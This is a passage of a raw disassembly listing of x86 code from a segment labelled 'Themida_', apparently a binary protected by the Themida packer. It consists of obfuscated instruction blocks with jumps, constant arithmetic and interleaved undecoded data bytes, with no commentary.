		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619FAF:				; CODE XREF: Themida_:0061164Ej
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	3B7Eh
		mov	[esp], esi
		push	edx
		mov	edx, 6C076606h
		mov	esi, 6C07660Ah
		sub	esi, edx
		pop	edx
		jmp	loc_611CDB
; ---------------------------------------------------------------------------


loc_619FEA:				; CODE XREF: Themida_:00612CC6j
		mov	[esp], edx
		jmp	loc_6116EE
; ---------------------------------------------------------------------------
		dw 483h
		dd 48F0424h, 4EC8324h, 0B8240489h, 4, 4244401h,	8B2434FFh
		dd 0E9552404h, 0FFFF9C5Eh, 5162C281h, 0DA29244Ch, 5162EA81h
		dd 1C8B244Ch, 4C48324h,	5C241487h, 51241C89h, 6345C168h
		dd 0B6E9592Bh, 83FFFF88h, 0FF5604C6h, 5E042474h, 0FF75F8E9h
		dd 59CE21FFh, 4E76B951h, 3EE97679h, 8BFFFFA8h, 5CE9242Ch
		dd 0B9FFFF88h, 4, 34FFCE01h, 0C4815924h, 4, 2C681h, 34870000h
		dd 24248B24h, 0E99CC884h, 0FFFF584Ah
; ---------------------------------------------------------------------------


loc_61A084:				; CODE XREF: Themida_:006175D5j
		pop	esp
		jmp	loc_611451
; ---------------------------------------------------------------------------
		dw 5866h
		dd 0CD47E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A092:				; CODE XREF: Themida_:0061A636j
		xor	esi, edi
		jmp	loc_61094C
; ---------------------------------------------------------------------------
aUhny		db 'hNY',0
		align 10h
		dd 0E9242C89h, 0FFFF8BB3h, 2434875Ch, 6624248Bh, 0E9240489h
		dd 0FFFF5816h
; ---------------------------------------------------------------------------


loc_61A0B8:				; CODE XREF: Themida_:0061BB67j
		mov	esi, esp
		jmp	loc_615EE9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 5C24048Fh, 0F66E1F6h, 0EC81CCB6h, 4
		dd 0FFC30EE9h, 57ECE9FFh, 6658FFFFh, 0F1E95052h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A0EB:				; CODE XREF: Themida_:00611D6Dj
		add	esp, 4
		push	edx
		mov	edx, 136B0D6Bh
		push	ebp
		mov	ebp, 1D153E71h
		xor	edx, ebp
		pop	ebp
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1A5E6E42h
		push	eax
		pop	ebx
		jmp	loc_610262
; ---------------------------------------------------------------------------


loc_61A110:				; CODE XREF: Themida_:00617E29j
		add	esp, [edx+38h]
		push	6FD6h
		mov	[esp], esi
		jmp	loc_617396
; ---------------------------------------------------------------------------


loc_61A120:				; CODE XREF: Themida_:0060F9D6j
		add	ebp, 4
		jmp	loc_6199AB
; ---------------------------------------------------------------------------
		db 31h
		dd 0F7CB31D9h, 6C53E9D1h, 2868FFFFh, 89000011h,	0C9B9240Ch
		dd 8172243Dh, 8574DDF1h, 8BCF012Dh, 0C483240Ch,	9F78104h
		dd 0E9746565h, 1330h, 9CBA52ADh, 0C116C304h, 814205E2h
		dd 1655C2F2h, 8D0FE93Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A172:				; CODE XREF: Themida_:006140D7j
		push	ecx
		mov	ecx, 79762D8Fh
		shr	ecx, 3
		jmp	loc_6170F4
; ---------------------------------------------------------------------------
		dd 308BC581h, 0F5297187h, 308BED81h, 8B5E7187h,	0C481241Ch
		dd 4, 8B242C87h, 4282424h, 27E99C24h, 5BFFFF57h, 0FF8E95E9h
		dd 4EC81FFh, 89000000h,	0E9512414h, 0FFFFDFF7h,	48E9C689h
		dd 81FFFF70h, 4C1h, 4E98100h, 87000000h, 545C240Ch, 8124048Fh
		dd 42404h, 4AE90000h, 52FFFFC5h, 545C64BAh, 5B545331h
		dd 0FF855FE9h, 3545BFFFh, 0EFC14E31h, 7F566808h, 4890000h
		dd 2420B824h, 0C7016E81h, 81D7F758h, 66796EF7h,	8E7C165h
		dd 63C9EF81h, 0F829293Fh, 0E92434FFh, 830h
; ---------------------------------------------------------------------------


loc_61A224:				; CODE XREF: Themida_:00614D46j
		mov	[esp], ebx
		push	0FFFFFFFFh
		jmp	loc_618331
; ---------------------------------------------------------------------------
		db 0BBh, 0AFh, 3Eh
		dd 0ADBD0919h, 3109193Eh, 0EB295BDDh, 0FFDDEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A245:				; CODE XREF: Themida_:00610A50j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	6122h
		mov	[esp], ecx
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4196658h,	4BE99C24h, 66FFFF56h, 2244481h
		dd 8B660573h, 0C483242Ch, 5638E902h, 348BFFFFh,	4C48124h
		dd 52000000h, 0BA525A5Dh, 0E6529B0h, 0FFA833E9h, 241433FFh
		dd 64E5E95Ch, 895CFFFFh, 0E2892414h, 4BD55h, 11E90000h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A2C7:				; CODE XREF: Themida_:00615F42j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, ecx
		mov	ecx, [esp]
		jmp	loc_613B18
; ---------------------------------------------------------------------------
		db 0E9h, 0ECh, 55h
		dd 0E681FFFFh, 0EE9002Ch, 0FF9E2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A2ED:				; CODE XREF: Themida_:006166CDj
		add	ecx, 0EED51C28h
		and	ecx, 26754774h
		dec	ecx
		xor	ecx, 4F042B29h
		push	esi
		jmp	loc_618658
; ---------------------------------------------------------------------------


loc_61A306:				; CODE XREF: Themida_:0061B0DDj
		add	eax, edi
		jmp	loc_610511
; ---------------------------------------------------------------------------
		db 29h,	0EAh, 8Bh
		dd 0C481242Ch, 4, 7FE4EA81h, 0C2011AFEh, 4BDFBF57h, 0EF810665h
		dd 5C1D51CAh, 0F781DFF7h, 58311C66h, 6053C781h,	0E94F5405h
		dd 0FFFFF353h
; ---------------------------------------------------------------------------


loc_61A340:				; CODE XREF: Themida_:006131A3j
		add	esi, 4
		jmp	loc_611F81
; ---------------------------------------------------------------------------


loc_61A34B:				; CODE XREF: Themida_:006150F4j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_60F91E
; ---------------------------------------------------------------------------
		dw 1433h
		dd 663FE924h, 0E788FFFFh, 0FF5CEEE9h, 0F9F581FFh, 5417239h
		dd 68061DDDh, 0FF75A7E9h, 0E9CF01FFh, 0FFFFC9AEh, 0EE2AE946h
		dd 8B66FFFFh, 2E9240Ch,	87FFFFD8h, 575C243Ch, 23468h, 242C8900h
		dd 8B565BBDh, 5DEF892Eh, 0FF7C7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A3A9:				; CODE XREF: Themida_:00612720j
		mov	edx, ecx
		pop	ecx
		jmp	loc_61858B
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0E2h
		dd 64FFFFFBh, 2B60F66h,	575E5456h, 521B5FBFh, 0FEE7816Fh
		dd 0F756906Ah, 0FAB951DFh, 125E810h, 0EFC159CFh, 0C0E95604h
		dd 5FFFFF60h, 11A9E9h, 104C2D00h, 0D8290DF0h, 0F0104C05h
		dd 6855560Dh, 79844B85h, 19ED815Dh, 68230302h, 52Fh, 0BA241489h
		dd 0F7C3083Dh, 895AD529h, 0FD055DEEh, 293D0541h, 740F68F0h
		dd 2C890000h, 166BBD24h, 0E5817B9Ah, 32051D65h,	0FF65F5E9h
		dd 48B66FFh, 76E95024h,	52FFFFC4h, 183E9h
		db 0
; ---------------------------------------------------------------------------


loc_61A441:				; CODE XREF: Themida_:0060F8FCj
		add	ebx, edi
		push	edx
		mov	edx, 0
		add	edx, ebx
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		xor	dword ptr [ecx], 72941E84h
		pop	ecx
		pop	edx
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_611C7A
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 0E95C2404h, 0FFFFB89Ch, 2414335Dh, 0E9241431h
		dd 0FFFFFE25h, 8104C483h, 4ECh,	0B6DE900h, 0EB890000h
		dd 0FCC5815Dh, 0E91E5030h, 0FFFF632Fh
; ---------------------------------------------------------------------------


loc_61A4A4:				; CODE XREF: Themida_:0061B9AFj
		or	esi, 4B1361AFh
		xor	esi, 26A7676Dh
		sub	esi, 3D900DD2h
		jmp	loc_612C22
; ---------------------------------------------------------------------------


loc_61A4BB:				; CODE XREF: Themida_:00613BB0j
		push	ebx
		push	edi
		mov	edi, 2610753h
		xor	edi, 6F9A3ACAh
		mov	ebx, edi
		pop	edi
		xor	ebp, ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_611A28
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4C08300h, 0FFA8FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A4E5:				; CODE XREF: Themida_:0061857Cj
		sub	ebp, 0FFFFFFFFh
		inc	ebp
		jmp	loc_61AD44
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFF7365h
; ---------------------------------------------------------------------------


loc_61A4FC:				; CODE XREF: Themida_:00619B29j
		pop	dword ptr [esp]
		jmp	loc_6166F6
; ---------------------------------------------------------------------------
		dd 0F781DFF7h, 5E42663Dh, 15FFE29h, 5E97E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A516:				; CODE XREF: Themida_:0061865Dj
		sub	ecx, esi
		pop	esi
		add	ecx, 7274A7A5h
		jmp	loc_6130D7
; ---------------------------------------------------------------------------


loc_61A524:				; CODE XREF: Themida_:00614224j
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	2698h
		mov	[esp], ecx
		mov	ecx, 4E462C90h
		jmp	loc_61882A
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFF61CDh, 81243C8Bh, 4C4h,	1CF78100h, 0E9264706h
		dd 44Bh, 2474FF51h, 7DE95904h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A56B:				; CODE XREF: Themida_:0061B579j
		add	esp, 4
		xor	esi, 46D25F46h
		sub	eax, 15173D92h
		add	eax, 5F4B2D52h
		jmp	loc_617433
; ---------------------------------------------------------------------------
		db 29h
		dd 14335BDAh, 24143124h, 0E9241433h, 0FFFFFD22h, 51241C89h
		dd 0CF88C188h, 30DC6859h, 0C890000h, 88FD8824h,	240C8B2Ah
		dd 4C481h, 1C8B0000h, 5A4C6824h, 1C890000h, 0E95B5424h
		dd 0FFFFCFEDh, 0A13FDFBAh, 90EA8117h, 0E911F37Ah, 0FFFF7211h
		dd 0B050C7BAh, 8ACA817Eh, 816F6876h, 5D5856C2h,	68C6E90Fh
		dd 48FFFFFh, 24248B24h,	0FFD10AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A5F5:				; CODE XREF: Themida_:00615DDDj
		add	esp, 4
		push	ecx
		mov	ecx, 236C2DBFh
		inc	ecx
		jmp	loc_61BDFE
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 14890000h, 0E95A5424h, 0FFFF82B1h
		dd 13E9565Ah, 0F7FFFFE0h, 0E99C241Ch, 0FFFF52A6h
; ---------------------------------------------------------------------------


loc_61A628:				; CODE XREF: Themida_:0061B15Cj
		mov	ecx, esp
		push	esi
		push	edi
		mov	edi, 4859637Bh
		mov	esi, 34BE4BC6h
		jmp	loc_61A092
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0EB85E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A642:				; CODE XREF: Themida_:0060FD01j
		pop	ecx
		dec	edx
		push	eax
		mov	eax, 9CB9E35Ah
		xor	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 46CD3699h
		not	ebx
		neg	ebx
		neg	ebx
		dec	ebx
		add	ebx, 0BA416BDBh
		sub	esi, ebx
		pop	ebx
		add	esi, edx
		push	eax
		jmp	loc_611F33
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A9E9241Ch, 0ACFFFFC3h, 0FA68D830h, 89000026h, 0EC83240Ch
		dd 24148904h, 0E9F0B450h, 0FFFF8960h
; ---------------------------------------------------------------------------


loc_61A68C:				; CODE XREF: Themida_:0061B2B3j
		pop	esi
		jmp	loc_614FAF
; ---------------------------------------------------------------------------


loc_61A692:				; CODE XREF: Themida_:0060FF12j
		sub	esi, 4
		jmp	loc_61423F
; ---------------------------------------------------------------------------


loc_61A69D:				; CODE XREF: Themida_:0061BBE7j
		pop	eax
		pop	dword ptr [eax]
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68240C89h, 48C6h, 0FF65B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A6B5:				; CODE XREF: Themida_:00611069j
		push	small 5306h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0DFA9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A6CE:				; CODE XREF: Themida_:00612DBBj
		sub	ebx, 0FF47F4h
		add	edi, 16B046A3h
		jmp	loc_6195F6
; ---------------------------------------------------------------------------


loc_61A6DF:				; CODE XREF: Themida_:00612D6Fj
		mov	edi, 0A91250Dh
		not	edi
		jmp	loc_612DA5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFF4D4E9h, 17E957FFh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A6F7:				; CODE XREF: Themida_:006158EDj
		not	dword ptr [esp]
		pop	edi
		jmp	loc_614823
; ---------------------------------------------------------------------------


loc_61A700:				; CODE XREF: Themida_:00610530j
		mov	esi, 232935D5h
		xor	eax, esi
		pop	esi
		inc	eax
		jmp	loc_617742
; ---------------------------------------------------------------------------
		dw 5D52h
		dd 8124148Bh, 4C4h, 87E95200h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A71F:				; CODE XREF: Themida_:0060FFD2j
		inc	edi
		xor	edi, 4C508448h
		xor	esi, edi
		pop	edi
		jmp	loc_616861
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0F66240Ch, 5DE9C8B6h, 81FFFFD0h, 0CB03AAC5h,	0ED835E66h
		dd 242C8704h, 0FFD757E9h, 48F5BFFh, 24248B24h, 24042166h
		dd 5170E99Ch, 0EC81FFFFh, 4, 0BB241C89h, 6FBF50A5h, 1C8BD989h
		dd 4C48124h, 83000000h,	148904ECh, 74AB6824h, 148B57B5h
		dd 0A315E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A78A:				; CODE XREF: Themida_:00613FDDj
		pop	edx
		add	eax, 4
		jmp	loc_61BBEC
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 248B242Ch, 7A9DE924h, 1C89FFFFh, 69A6BB24h
		dd 0C3812ABDh, 4DD26F55h, 0C104EBC1h, 0D3F705E3h, 28A4EB81h
		dd 0D931C006h, 59CB895Bh, 415AC381h, 0DBF7246Fh, 0E903E3C1h
		dd 15C9h, 7AE9DA88h, 0BEFFFFF2h, 45BA6022h, 0C752CC05h
		dd 50080517h, 0F0013E7Eh, 8904EC83h, 8BF243Ch, 293E7E50h
		dd 0BA525FF8h, 17C752CCh, 6FFDB951h, 0C8290D0Fh, 5D02959h
		dd 0D0F6FFDh, 426E9h
		db 0
; ---------------------------------------------------------------------------


loc_61A819:				; CODE XREF: Themida_:006149A4j
		mov	esi, 8991BB5h
		jmp	loc_612772
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89532404h, 9C71E9E3h, 2C81FFFFh, 1C3DF124h, 5094E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A83A:				; CODE XREF: Themida_:006142C6j
		pop	esi
		jmp	loc_61310E
; ---------------------------------------------------------------------------


loc_61A840:				; CODE XREF: Themida_:00618439j
		pop	edx
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_614B42
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_612D93
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 15h
		dd 1138E9h, 0ADC18100h,	0E9091F31h, 0FFFF997Eh,	0E9242C89h
		dd 0FFFFD8BDh, 5C241487h, 8B2434FFh, 0B9E92404h, 81FFFF72h
		dd 0AB05BDEAh, 0D0F28139h, 319EBFBDh, 0EC835AD0h, 24348904h
		dd 3276CFBEh, 8CBF572Ch, 8168420Bh, 72410FCFh, 6EFC11Ah
		dd 3092EF81h, 51E97680h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A8B3:				; CODE XREF: Themida_:0061BE72j
		pop	ecx
		jmp	loc_61B13F
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 248B242Ch, 0B60F6624h, 79FB68C8h,	4890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_6140CE
; ---------------------------------------------------------------------------
		dd 6436622Dh, 58C2296Bh, 5C241487h, 0FF5070E9h,	2434FFFFh
		dd 0FFED7AE9h, 240C8BFFh, 4C481h, 0E9530000h, 0FFFF5B49h
		dd 3C28C781h, 875D1D01h, 665C243Ch, 55E9F1F7h, 80FFFFCBh
		dd 8852FAF7h, 94E5E9FEh, 555CFFFFh, 8904EC83h, 4812424h
		dd 424h, 0B5CEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61A94A:				; CODE XREF: Themida_:0060FD76j
		xor	esi, 70632465h
		add	esi, 5910BC1Eh
		sub	edx, esi
		pop	esi
		xor	esi, edx
		jmp	loc_617F25
; ---------------------------------------------------------------------------
		dd 31242C33h, 2C33242Ch, 24248B24h, 2896664h, 0FF4F59E9h
		dd 5BD989FFh, 0E959CF01h, 0FFFFD912h
; ---------------------------------------------------------------------------


loc_61A980:				; CODE XREF: Themida_:00614970j
		push	ebp
		jmp	loc_611213
; ---------------------------------------------------------------------------
		dw 5658h
		dd 2171C3BEh, 196B6853h, 14890000h, 3DADBA24h, 0E2815376h
		dd 7F8E60CDh, 6930F281h, 54E962DCh, 58FFFFACh, 685FF831h
		dd 13D6h, 0FF7820E9h, 24048BFFh, 5104C483h, 334769B9h
		dd 8E1C176h, 0FFF3F8E9h, 241433FFh, 2404895Ch, 0F48000B4h
		dd 0A8F48027h, 0C024EC80h, 0F48002E4h, 58E528A9h, 0B652CDFEh
		dd 5AF5308Bh, 0FFFC46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61A9F5:				; CODE XREF: Themida_:00615581j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, 0BEF3FD87h
		mov	ecx, eax
		jmp	loc_610203
; ---------------------------------------------------------------------------


loc_61AA11:				; CODE XREF: Themida_:0061B01Dj
		shr	edx, 6
		add	edx, 630AAF4Dh
		and	edi, edx
		pop	edx
		shl	edi, 4
		sub	edi, 6521454h
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_612C92
; ---------------------------------------------------------------------------
		db 89h
		dd 0E1D5E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61AA3A:				; CODE XREF: Themida_:00614EC6j
		mov	ecx, [edx]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_612DD1
; ---------------------------------------------------------------------------
		db 66h
		dd 7EE9F9F7h, 0E9FFFF8Ah, 0FFFF4E7Ah, 81243C8Bh, 4C4h
		dd 4C48100h, 8B000000h,	8957241Ch, 4C781E7h, 0E9000000h
		dd 0FFFFF16Eh, 24048166h, 59665E2Dh, 2DE98166h,	6FE95E5Eh
		dd 1FFFF81h, 13B850C6h,	297D1817h, 586858C6h, 8900003Eh
		dd 0EC812414h, 4, 52240C89h, 67291ABAh,	5AD18945h, 89CD8955h
		dd 0E9595DEAh, 0FFFF5EDEh
; ---------------------------------------------------------------------------


loc_61AAB8:				; CODE XREF: Themida_:00610CFFj
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	edx
		mov	edx, ebx
		push	4665h
		mov	[esp], edx
		xor	dword ptr [esp], 42B8125Ah
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 765D1A04h
		mov	ecx, esi
		pop	esi
		sub	ecx, 434D4FD0h
		add	ecx, 0FA84826h
		xor	eax, ecx
		jmp	loc_61728C
; ---------------------------------------------------------------------------
		dw 0EB89h
		dd 5BD9315Dh, 7E1C141h,	0FF6CEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61AB09:				; CODE XREF: Themida_:00615337j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		jmp	loc_6129CF
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0FF74E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61AB1D:				; CODE XREF: Themida_:006165E1j
		mov	edx, 14D8299Eh
		jmp	loc_61BD33
; ---------------------------------------------------------------------------


loc_61AB27:				; CODE XREF: Themida_:00616DCAj
		neg	ebx
		jmp	loc_61021A
; ---------------------------------------------------------------------------


loc_61AB2E:				; CODE XREF: Themida_:006190C9j
		mov	ebx, 0BA9CE0EAh
		sub	ebx, 8DB2B53h
		add	ebx, edi
		push	65E5h
		jmp	loc_611DD3
; ---------------------------------------------------------------------------


loc_61AB45:				; CODE XREF: Themida_:00611D98j
		pop	esp
		or	eax, eax
		jz	loc_61174B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	49EBh
		mov	[esp], esp
		jmp	loc_618EF6
; ---------------------------------------------------------------------------
		db 0FEh
aQS0iyiRs	db 'Qs0Y[R#',9,0
		align 4
		dd 0E904EC83h, 0FFFFB5B1h, 5C243433h, 5124048Bh, 4EC81h
		dd 8F540000h, 4832404h,	0C8B0424h, 4C48324h, 8904EC83h
		dd 36BE2434h, 0E9798434h, 0FFFFF7D8h, 4C381h, 6FE90000h
		dd 83FFFF92h, 0ADE904E9h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61ABBB:				; CODE XREF: Themida_:006189C3j
		xor	ebx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		jmp	loc_6188F0
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFA2DDE9h, 2434FFFFh, 0A48AE95Fh, 0EC81FFFFh
		dd 4, 0FF9789E9h, 0E95A66FFh, 0FFFF54EBh
; ---------------------------------------------------------------------------


loc_61ABF8:				; CODE XREF: Themida_:00611B29j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_61B5F0
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 502056CDh, 0FF5B4FE9h, 0D831ADFFh, 0FFCCE6E9h, 5DE931FFh
		dd 0FFBDC9E9h, 5FF901FFh, 0FFFF82E9h, 0E9FE29FFh, 0FFFFA8EBh
		dd 0E7E9C589h, 5AFFFF9Dh, 8B2434FFh, 0C4832434h, 4C48304h
		dd 4B3768h, 240C8900h, 0CDA3BE56h, 0AEE923DBh, 83FFFF5Bh
		dd 0DFF704C4h, 9B68DFF7h, 8900002Ch, 42BD242Ch,	0E94ECB4Ah
		dd 0FFFF91C3h, 0C9729DBFh, 3FF78122h, 5276205Dh, 3E2A8CBAh
		dd 0BD55420Ch, 61823210h, 0D5F7D5F7h, 634CF581h, 0EA017B51h
		dd 54F2815Dh, 81723B6Ch, 0FB39FCEAh, 0DCB0E973h, 0EE81FFFFh
		dd 4567291Ah, 1713BF57h, 0FE017D18h, 0FDC5E95Fh, 1C89FFFFh
		dd 8C7EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61ACCA:				; CODE XREF: Themida_:0061838Ej
		mov	esi, 42B33309h
		push	edi
		mov	edi, 7DD06E6Fh
		jmp	loc_61389B
; ---------------------------------------------------------------------------


loc_61ACDA:				; CODE XREF: Themida_:0061559Dj
		pop	ebx
		not	esi
		jmp	loc_61192C
; ---------------------------------------------------------------------------
		dw 4481h
		dd 2EF0824h, 0FBE90A38h, 5DFFFFA4h, 364168h, 24148900h
		dd 2CDEBA66h, 66DAF766h, 0B8665042h, 665212B5h,	661E48BAh
		dd 0EA81664Ah, 536602FDh, 7DA6BB66h, 0FFC245E9h, 2474FFFFh
		dd 48F5A04h, 24248B24h,	240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF4B96h, 10EB8159h, 0E917CB3Fh, 0FFFF984Ch
; ---------------------------------------------------------------------------


loc_61AD44:				; CODE XREF: Themida_:0061A4ECj
		neg	ebp
		add	ebp, 26CC1A9Fh
		xor	edi, ebp
		pop	ebp
		and	eax, edi
		jmp	loc_610AA6
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0FF4B6DE9h, 0E9E189FFh, 0FFFF86ECh, 835FFA01h
		dd 0D0E902EAh
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61AD73:				; CODE XREF: Themida_:00614246j
		push	edx
		push	eax
		mov	eax, 283D204Bh
		push	ebx
		push	4A87132Bh
		jmp	loc_612417
; ---------------------------------------------------------------------------
		db 51h,	53h, 0B3h
		dd 0E956B583h, 0FFFF9F10h, 5EF18159h, 5E56363Ah, 55FFC183h
		dd 5E4AC3BDh, 0E9E93136h, 56Ah,	6761C805h, 94AEE94Dh, 0C780FFFFh
		dd 0FB71E92Fh, 0D52DFFFFh, 5537411h, 68620349h,	492DC801h
		dd 5686203h, 537411D5h,	81240C8Bh, 4C4h, 2BD5500h, 2D59AB60h
		dd 787E7FB2h, 22389A05h, 5D32E936h, 0E630FFFFh,	0FF7E5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61ADF5:				; CODE XREF: Themida_:006154A9j
		mov	bh, 38h
		sub	dl, bh
		pop	bx
		xor	dl, 1Eh
		or	dl, 5Bh
		xor	dl, 0DCh
		jmp	loc_6143B2
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5324048Bh, 0D8685B54h, 8900003Dh, 42E92414h,	0E9FFFF96h
		dd 0FFFF4AAAh
; ---------------------------------------------------------------------------


loc_61AE24:				; CODE XREF: Themida_:0061862Dj
		push	3366h
		mov	[esp], ecx
		push	edi
		mov	edi, 65140A4Ah
		jmp	loc_614C37
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 9637E900h, 0E3B9FFFFh,	0E95BBE4Dh, 0FFFFFA11h
		dd 582434FFh, 81E28952h, 4C2h, 4EA8300h, 2474FF52h, 0A9E95A04h
		dd 0B1FFFFBBh, 0D304F0h, 2EC83C8h, 0FF9FB3E9h, 4C483FFh
		dd 5C24048Fh, 6EEF68h, 24348900h, 4EC81h, 1C890000h, 116ABB24h
		dd 5CE94C52h, 50FFFF71h, 0D7B115B4h, 48BE130h, 4C48324h
		dd 34FFC830h, 240C8B24h, 505A5452h, 9855A4B8h, 747DE95Bh
		dd 3489FFFFh, 81E68924h, 4C6h, 5CA1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61AECA:				; CODE XREF: Themida_:0061977Cj
		mov	[esp], ebp
		push	edx
		mov	edx, 5E4716B1h
		mov	ebp, 21885A56h
		sub	ebp, 29F21543h
		add	ebp, edx
		add	ebp, 29F21543h
		pop	edx
		sub	esi, 58571C3Fh
		jmp	loc_61640B
; ---------------------------------------------------------------------------


loc_61AEF2:				; CODE XREF: Themida_:00613764j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_61784E
		sub	esp, 4
		mov	[esp], ecx
		push	20E222DBh
		pop	ecx
		push	ebx
		mov	ebx, 43DE5BDDh
		jmp	loc_612051
; ---------------------------------------------------------------------------
		dd 565AF028h, 0C681E689h, 4, 4EE81h, 34870000h,	1C895C24h
		dd 0E9CBB724h, 0FFFF7BC9h, 4C481h, 81560000h, 3A5E2434h
		dd 45E95636h, 5EFFFFFEh, 6FE9CD01h, 29FFFF7Fh, 76B951F3h
		dd 291ED93Ch, 0ECE959CBh, 89FFFFE1h, 468240Ch, 0E9000000h
		dd 8DDh, 288BEE80h, 0C5805AF5h,	0A4F8E9D8h, 8F59FFFFh
		dd 248B2404h, 0C8B6624h, 0D426824h, 4890000h, 4EC8124h
		dd 89000000h, 86E9240Ch
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_61AF9F:				; CODE XREF: Themida_:006136DDj
		mov	edx, 0EDCA3Bh
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_616E85
; ---------------------------------------------------------------------------
		dd 4936CB81h, 0BE56183Dh, 6CFC0236h, 815EF321h,	0F74EBFF3h
